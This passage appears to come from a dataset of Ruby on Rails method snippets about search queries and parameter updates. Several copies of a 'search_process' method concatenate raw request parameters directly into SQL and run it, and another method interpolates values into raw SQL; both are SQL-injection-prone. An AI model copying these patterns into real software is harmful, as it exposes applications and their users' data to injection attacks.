= refine_search_get_fields(query2)\n\n # Modify the query on POST, test it out, and redirect or re-serve form.\n unless @first_time || (request.method != \"POST\") || browser.bot?\n params2 = refine_search_clone_params(query2, @query.params)\n @errors = refine_search_change_params(@fields, @values, params2)\n\n if @errors.any?\n # Already flashed errors.\n elsif (model2 == @query.model_symbol) &&\n (flavor2 == @query.flavor) &&\n (params2 == @query.params)\n # No changes. This may not be apparent due to vagaries of parsing.\n # This will change all the form values to be what's currently in the\n # query. The user will then know exactly why we say \"no changes\".\n flash_notice(:runtime_no_changes.t) unless @goto_index\n else\n begin\n # Create and initialize the new query to test it out.\n query2 = Query.lookup(model2, flavor2, params2)\n query2.initialize_query\n query2.save\n @query = query2\n unless @goto_index\n flash_notice(:refine_search_success.t(num: @query.num_results))\n end\n rescue => e\n flash_error(e)\n # flash_error(e.backtrace.join(\"<br>\"))\n end\n end\n end\n else\n flash_error(:runtime_search_has_expired.t)\n redirect_back_or_default(action: \"list_rss_logs\")\n end\n\n # Redisplay the index if user presses \"Index\".\n if @goto_index\n redirect_to(add_query_param({\n controller: @query.model.show_controller,\n action: @query.model.index_action\n }, @query))\n else\n # flash_notice(@query.query)\n @flavor_field = refine_search_flavor_field\n @values.model_flavor = \"#{model2.to_s.underscore} #{flavor2}\"\n refine_search_initialize_values(@fields, @values, @query)\n end\n end", "def search\n # self.response_body = nil\n # render current_user\n render html: 'hi'\n end", "def update\n return unless conditions_met?\n super\n end", "def update!(**args)\n @disabled = args[:disabled] if args.key?(:disabled)\n @hidden_in_search = args[:hidden_in_search] if args.key?(:hidden_in_search)\n @required = args[:required] if args.key?(:required)\n @shown_in_apply = args[:shown_in_apply] if args.key?(:shown_in_apply)\n end", "def update!(**args)\n @location = args[:location] if args.key?(:location)\n @page_size = args[:page_size] if args.key?(:page_size)\n @query = args[:query] if args.key?(:query)\n end", "def update!(**args)\n @disabled = args[:disabled] if args.key?(:disabled)\n @hidden_in_search = args[:hidden_in_search] if args.key?(:hidden_in_search)\n @priority = args[:priority] if args.key?(:priority)\n @shown_in_apply = args[:shown_in_apply] if args.key?(:shown_in_apply)\n end", "def update!(**args)\n @view_query = args[:view_query] if args.key?(:view_query)\n end", "def update!(**args)\n @view_query = args[:view_query] if args.key?(:view_query)\n end", "def update!(**args)\n @data_source_restrictions = args[:data_source_restrictions] if args.key?(:data_source_restrictions)\n @facet_options = args[:facet_options] if args.key?(:facet_options)\n @page_size = args[:page_size] if args.key?(:page_size)\n @query = args[:query] if args.key?(:query)\n @query_interpretation_options = args[:query_interpretation_options] if args.key?(:query_interpretation_options)\n @request_options = args[:request_options] if args.key?(:request_options)\n @sort_options = args[:sort_options] if args.key?(:sort_options)\n @start = args[:start] if args.key?(:start)\n end", "def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def update!(**args)\n @applied_commute_filter = args[:applied_commute_filter] if args.key?(:applied_commute_filter)\n @applied_job_location_filters = args[:applied_job_location_filters] if args.key?(:applied_job_location_filters)\n @estimated_total_size = args[:estimated_total_size] if args.key?(:estimated_total_size)\n @histogram_results = args[:histogram_results] if args.key?(:histogram_results)\n @job_view = args[:job_view] if args.key?(:job_view)\n @matching_jobs = args[:matching_jobs] if args.key?(:matching_jobs)\n @metadata = args[:metadata] if args.key?(:metadata)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @num_jobs_from_broadened_query = args[:num_jobs_from_broadened_query] if args.key?(:num_jobs_from_broadened_query)\n @spell_result = args[:spell_result] if args.key?(:spell_result)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def search_result\n query = search_params.presence && search_params\n results = query.present? ? helpers.search_query(query) :helpers.create_query(current_user)\n render json: {:data => results, :total => results.results.total}\n end", "def has_search_parameters?\n result = super || !params[:t].blank? || !params[:l].blank? || !params[:resolve].blank?\n end", "def update\n @search_input.update\n end", "def search\n request.write_attributes request_attributes\n @search ||= request.call\n end", "def update!(**args)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @query = args[:query] if args.key?(:query)\n @return_total_results_count = args[:return_total_results_count] if args.key?(:return_total_results_count)\n @summary_row_setting = args[:summary_row_setting] if args.key?(:summary_row_setting)\n @validate_only = args[:validate_only] if args.key?(:validate_only)\n end", "def conditional_update(resource, id, search_params, format = nil)\n options = {\n search: {\n flag: false,\n compartment: nil,\n parameters: {}\n }\n }\n search_params.each do |key, value|\n options[:search][:parameters][key] = value\n end\n base_update(resource, id, options, format)\n end", "def update!(**args)\n @applied_controls = args[:applied_controls] if args.key?(:applied_controls)\n @attribution_token = args[:attribution_token] if args.key?(:attribution_token)\n @corrected_query = args[:corrected_query] if args.key?(:corrected_query)\n @facets = args[:facets] if args.key?(:facets)\n @guided_search_result = args[:guided_search_result] if args.key?(:guided_search_result)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @query_expansion_info = args[:query_expansion_info] if args.key?(:query_expansion_info)\n @redirect_uri = args[:redirect_uri] if args.key?(:redirect_uri)\n @results = args[:results] if args.key?(:results)\n @summary = args[:summary] if args.key?(:summary)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def add_search_request(search_request)\n if (@search_requests.has_key?(search_request.id))\n #error\n else\n @search_requests[search_request.id]= search_request\n Event::ItemUpdateEvent.add_handler search_request\n end\n end", "def process_search\n public_plans_params[:search].present? ? \"%#{public_plans_params[:search]}%\" : '%'\n end", "def no_other_update_params?\n !@name && !@author && !@rank && @deprecated.nil? &&\n !@synonymize_with && !@clear_synonyms && !@correct_spelling\n end", "def update!(**args)\n @query_stats = args[:query_stats] if args.key?(:query_stats)\n end", "def update!(**args)\n @hide_in_search = args[:hide_in_search] if args.key?(:hide_in_search)\n @show_in_apply = args[:show_in_apply] if args.key?(:show_in_apply)\n end", "def update!(**args)\n @boost_spec = args[:boost_spec] if args.key?(:boost_spec)\n @branch = args[:branch] if args.key?(:branch)\n @content_search_spec = args[:content_search_spec] if args.key?(:content_search_spec)\n @embedding_spec = args[:embedding_spec] if args.key?(:embedding_spec)\n @facet_specs = args[:facet_specs] if args.key?(:facet_specs)\n @filter = args[:filter] if args.key?(:filter)\n @image_query = args[:image_query] if args.key?(:image_query)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @params = args[:params] if args.key?(:params)\n @query = args[:query] if args.key?(:query)\n @query_expansion_spec = args[:query_expansion_spec] if args.key?(:query_expansion_spec)\n @ranking_expression = args[:ranking_expression] if args.key?(:ranking_expression)\n @safe_search = args[:safe_search] if args.key?(:safe_search)\n @spell_correction_spec = args[:spell_correction_spec] if args.key?(:spell_correction_spec)\n @user_info = args[:user_info] if args.key?(:user_info)\n @user_labels = args[:user_labels] if args.key?(:user_labels)\n @user_pseudo_id = args[:user_pseudo_id] if args.key?(:user_pseudo_id)\n end", "def prep_query\n @options[:query]['region_id'] = @region_id if @region_id\n @options[:query]['state'] = @state if @state\n @options[:query]['county'] = @countye if @county\n @options[:query]['city'] = @city if @city\n @options[:query]['childtype'] = @childtype if @childtype\n @options\n end", "def search_for_no_results\n visit('/locations?keyword=asdfdsggfdg')\n end", "def update\n if current_user.typeof == false\n respond_to do |format|\n if @searcher.update(searcher_params)\n format.html { redirect_to @searcher, notice: 'Searcher was successfully updated.' }\n format.json { render :show, status: :ok, location: @searcher }\n else\n format.html { render :edit }\n format.json { render json: @searcher.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to home_home_page_path\n end\n end", "def fullsearch params = {}\n request(params.merge(:report_type => :phrase_fullsearch))\n end", "def search\n send_request\n parse_response\n end", "def nearme\n # nearby returns a location list which is then mapped through with the transform json method. if there are no entries is sends back an array\n\n nearby = Location.all.where.not(latitude: nil).near([params[:lat], params[:lng]],\n params[:distance], units: :km)\n render json: nearby.map(&:transform_json), status: 201\n end", "def update!(**args)\n @included_type = args[:included_type] if args.key?(:included_type)\n @language_code = args[:language_code] if args.key?(:language_code)\n @location = args[:location] if args.key?(:location)\n @location_bias = args[:location_bias] if args.key?(:location_bias)\n @location_restriction = args[:location_restriction] if args.key?(:location_restriction)\n @max_result_count = args[:max_result_count] if args.key?(:max_result_count)\n @min_rating = args[:min_rating] if args.key?(:min_rating)\n @open_now = args[:open_now] if args.key?(:open_now)\n @price_levels = args[:price_levels] if args.key?(:price_levels)\n @price_range = args[:price_range] if args.key?(:price_range)\n @rank_preference = args[:rank_preference] if args.key?(:rank_preference)\n @region_code = args[:region_code] if args.key?(:region_code)\n @strict_type_filtering = args[:strict_type_filtering] if args.key?(:strict_type_filtering)\n @text_query = args[:text_query] if args.key?(:text_query)\n end", "def search_param\n params[:loans][:search] if params[:accounting_entries] || nil\n end", "def update!(**args)\n @ignore_adversarial_query = args[:ignore_adversarial_query] if args.key?(:ignore_adversarial_query)\n @ignore_non_summary_seeking_query = args[:ignore_non_summary_seeking_query] if args.key?(:ignore_non_summary_seeking_query)\n @include_citations = args[:include_citations] if args.key?(:include_citations)\n @language_code = args[:language_code] if args.key?(:language_code)\n @summary_result_count = args[:summary_result_count] if args.key?(:summary_result_count)\n end", "def clear\n @query = {}\n @query[:searchTerms] = []\n @query[:startPage] = 1\n @query[:count] = 20\n @total_results = 0\n @search_type = \"request\"\n self\n end", "def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end", "def new_super_search_upcoming\n @browse_state.attributes=(params)\n @search_filter = @browse_state.make_search_filter\n @feed_params = @search_filter.to_rss_params\n search_filter = @search_filter.clone\n search_filter.start_date = Time.now.utc\n\n if !search_filter.zip.blank? || !search_filter.city.blank?\n r = ZipCode.find(:first,:select => \"latitude,longitude\",:conditions => [\"zip = ? or city = ?\",search_filter.zip,search_filter.city])\n rad = 25\n if !r.nil?\n sql = \"SELECT dest.id,dest.zip,3956 * 2 * ASIN(SQRT( POWER(SIN((orig.latitude - dest.latitude) * pi()/180 / 2), 2) + COS(orig.latitude * pi()/180) * COS(dest.latitude * pi()/180) * POWER(SIN((orig.longitude -dest.longitude) * pi()/180 / 2), 2) )) as distance FROM zip_codes dest, zip_codes orig WHERE dest.id = orig.id and dest.longitude between #{r.longitude}-#{rad}/abs(cos(radians(#{r.latitude}))*69) and #{r.longitude}+#{rad}/abs(cos(radians(#{r.latitude}))*69) and dest.latitude between #{r.latitude}-(#{rad}/69) and #{r.latitude}+(#{rad}/69) LIMIT 4096\"\n z = ZipCode.find_by_sql(sql)\n zcids = z.collect(&:id)\n end\n else\n zcids = \"\"\n end\n zcids = \"\" if r.nil?\n @invitations=Invitation.search \" #{search_filter.country}\",:with => {:start_date => Time.now.utc..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:zip_code_id => zcids}, :without => {:purpose_id => 19},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :id, :sort_mode => :desc, :page => params[:page], :per_page => 10 \n if @invitations.blank?\n @invitation = Invitation.new(:recurrence_frequency => 'weekly', \n :address => Address.new(:state => @geoip_location.state, \n :city => @geoip_location.city, \n :country => @geoip_location.country))\n end\n end", "def update!(**args)\n @expanded_query = args[:expanded_query] if args.key?(:expanded_query)\n @pinned_result_count = args[:pinned_result_count] if args.key?(:pinned_result_count)\n end", "def verify_unpublishable_search\n # only logged in users viewing their own resources can search unpublished\n unless logged_in? && params[:user_id].present? && current_user.id == params[:user_id].to_i\n params.merge! published: true\n end\n end", "def update!(**args)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @search_query = args[:search_query] if args.key?(:search_query)\n end", "def advancedsearch\n params[:filter] = true;\n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end", "def search_results\n @query = params[:user]\n processed_query = sanitize(@query)\n @source = params[:source]\n @results = ApiHelper.user_search(processed_query, USER_COUNT, @source)\n if @results.count == 0\n flash[:notice] = \"No users matching '#{@query}'.\"\n end\n render 'search'\n end", "def search_params\n return {} unless params[:q]\n params.require(:q).permit!\n end", "def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end", "def reset_search_params\n Parameters.sanitize(to_h).except(:page, :counter)\n end", "def full_search(keywords, options = {})\n latitude = nil\n longitude = nil\n bounds = options[:bounds]\n where = nil\n \n if options[:alternate].blank? && options[:specific].blank? && options[:skip_where].blank?\n where_results = Atlas::Geography.where_am_i(keywords, options.dup)\n \n keywords = where_results[:query]\n where = where_results[:where].models\n \n unless where.blank?\n selected = where.first\n bounds = selected.bounds\n end\n \n options.delete :fq\n \n # The user has indicated that our \"where\" guess was incorrect, and selected another.\n elsif options[:alternate].present?\n selected = Atlas::Geography.find(options[:alternate])\n bounds = selected.bounds \n \n # Record when a user selects an alternate where result, i.e. we got it wrong!\n # Atlas::GeographicQueryLog.create :status => 'alternate', :query => query, :session_id => options[:session_id]\n\n # The user has sent in a specific bounding box in which to search. Presumably the user is looking\n # at a map, dragging it around, and re-performing searches.\n elsif options[:specific].present?\n bounds = options[:specific]\n end\n\n keywords = '*' if keywords.blank?\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n if results.documents.empty? && where.present?\n where[1..-1].each do |geography|\n selected = geography\n envelope = geography.read_attribute(:bounds).envelope\n center = envelope.center\n top_center = center.y + (center.y - envelope.lower_corner.y)\n radius = center.spherical_distance(Point.from_x_y(center.x, top_center)) / 1000.0\n\n results = solr_server.find(\"{!spatial lat=#{center.lat} long=#{center.lng} radius=#{radius} unit=km calc=arc threadCount=2}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n break unless results.documents.empty?\n end\n end\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => selected, :where => where, :query => (keywords == '*' && '' || keywords) }\n end", "def initialize(params, repository)\n super\n sf = params[:search_field].to_s.presence\n sf = nil if sf && %w(advanced all_fields).include?(sf)\n @request_params[:search_field] = sf if sf\n end", "def set_search\n @query = params.require(:search).permit(:query)\n end", "def no_search_requested?\n @params.length < 4\n end", "def initialize(search_params)\n @search_params = search_params\n @query = formatted_query.presence || \"*\"\n end", "def update!(**args)\n @data_source_restrictions = args[:data_source_restrictions] if args.key?(:data_source_restrictions)\n @query = args[:query] if args.key?(:query)\n @request_options = args[:request_options] if args.key?(:request_options)\n end", "def update!(**args)\n @data_source_restrictions = args[:data_source_restrictions] if args.key?(:data_source_restrictions)\n @query = args[:query] if args.key?(:query)\n @request_options = args[:request_options] if args.key?(:request_options)\n end", "def noSearchResults\n render :layout => false\n end", "def search\n @buildings = Building.search(params[:longitude], params[:latitude])\n\n if stale? last_modified: @buildings.maximum(:updated_at)\n render json: @buildings\n end\n end", "def user_search_params\n params.require(:user_search).permit(:query, :hardware_uuid, :friends_with,\n location_attributes: [:lat, :lng, :radius])\n end", "def find_or_create_search_request\n @api.find_or_create_search_request(@search_menu_input, \"pokemon\") if @search_type.match?(/^Pokemon Name$|^Pokedex Number$/)\n @api.find_or_create_search_request(@search_menu_input, \"type\") if @search_type.match?(/^Type$/)\n end", "def describe_search_if_present\n if params[:q].present?\n return \"matching &ldquo;#{h params[:q]}&rdquo;\".html_safe\n end\n end", "def index\n\n if params[:q].present?\n clear_boolean(params[:q], :country_continent_eq)\n clear_boolean(params[:q], :is_wifi_eq)\n clear_boolean(params[:q], :is_cafe_eq)\n clear_boolean(params[:q], :is_libray_eq)\n clear_boolean(params[:q], :is_job_help_eq)\n clear_boolean(params[:q], :is_student_exchange_eq)\n clear_boolean(params[:q], :is_spiritual_eq)\n clear_boolean(params[:q], :is_safe_eq)\n clear_boolean(params[:q], :gym_eq)\n clear_boolean(params[:q], :pool_eq)\n clear_boolean(params[:q], :residence_eq)\n clear_boolean(params[:q], :location_eq)\n clear_boolean(params[:q], :luch_eq)\n\n clear_boolean(params[:q], :football_eq)\n clear_boolean(params[:q], :soccer_eq)\n clear_boolean(params[:q], :volley_eq)\n clear_boolean(params[:q], :tennis_eq)\n clear_boolean(params[:q], :table_tennis_eq)\n clear_boolean(params[:q], :baseball_eq)\n clear_boolean(params[:q], :track_and_field_eq)\n clear_boolean(params[:q], :golf_eq)\n clear_boolean(params[:q], :swimming_eq)\n clear_boolean(params[:q], :rugby_eq)\n clear_boolean(params[:q], :climbing_eq)\n clear_boolean(params[:q], :lacrosse_eq)\n\n clear_boolean(params[:q], :drawing_eq)\n clear_boolean(params[:q], :photography_eq)\n clear_boolean(params[:q], :sculpture_eq)\n clear_boolean(params[:q], :theatre_eq)\n clear_boolean(params[:q], :wood_eq)\n clear_boolean(params[:q], :music_eq)\n clear_boolean(params[:q], :choir_eq)\n clear_boolean(params[:q], :marching_band_eq)\n clear_boolean(params[:q], :dance_eq)\n clear_boolean(params[:q], :mun_eq)\n clear_boolean(params[:q], :volunteer_eq)\n clear_boolean(params[:q], :gamers_eq)\n\n clear_boolean(params[:q], :english_eq)\n clear_boolean(params[:q], :spanish_eq)\n clear_boolean(params[:q], :french_eq)\n clear_boolean(params[:q], :german_eq)\n clear_boolean(params[:q], :chinese_eq)\n clear_boolean(params[:q], :italian_eq)\n clear_boolean(params[:q], :portuguese_eq)\n clear_boolean(params[:q], :russian_eq)\n clear_boolean(params[:q], :japanese_eq)\n clear_boolean(params[:q], :latin_eq)\n clear_boolean(params[:q], :greek_eq)\n clear_boolean(params[:q], :signs_eq)\n\n\n end\n\n @q = University.ransack(params[:q])\n @universities = @q.result.includes(:country, :careers).uniq\n\n @universities = @universities.order('name ASC').paginate(:page => params[:page], :per_page => 30)\n\n @arrUnis = @universities.to_a\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n end\n end" ]
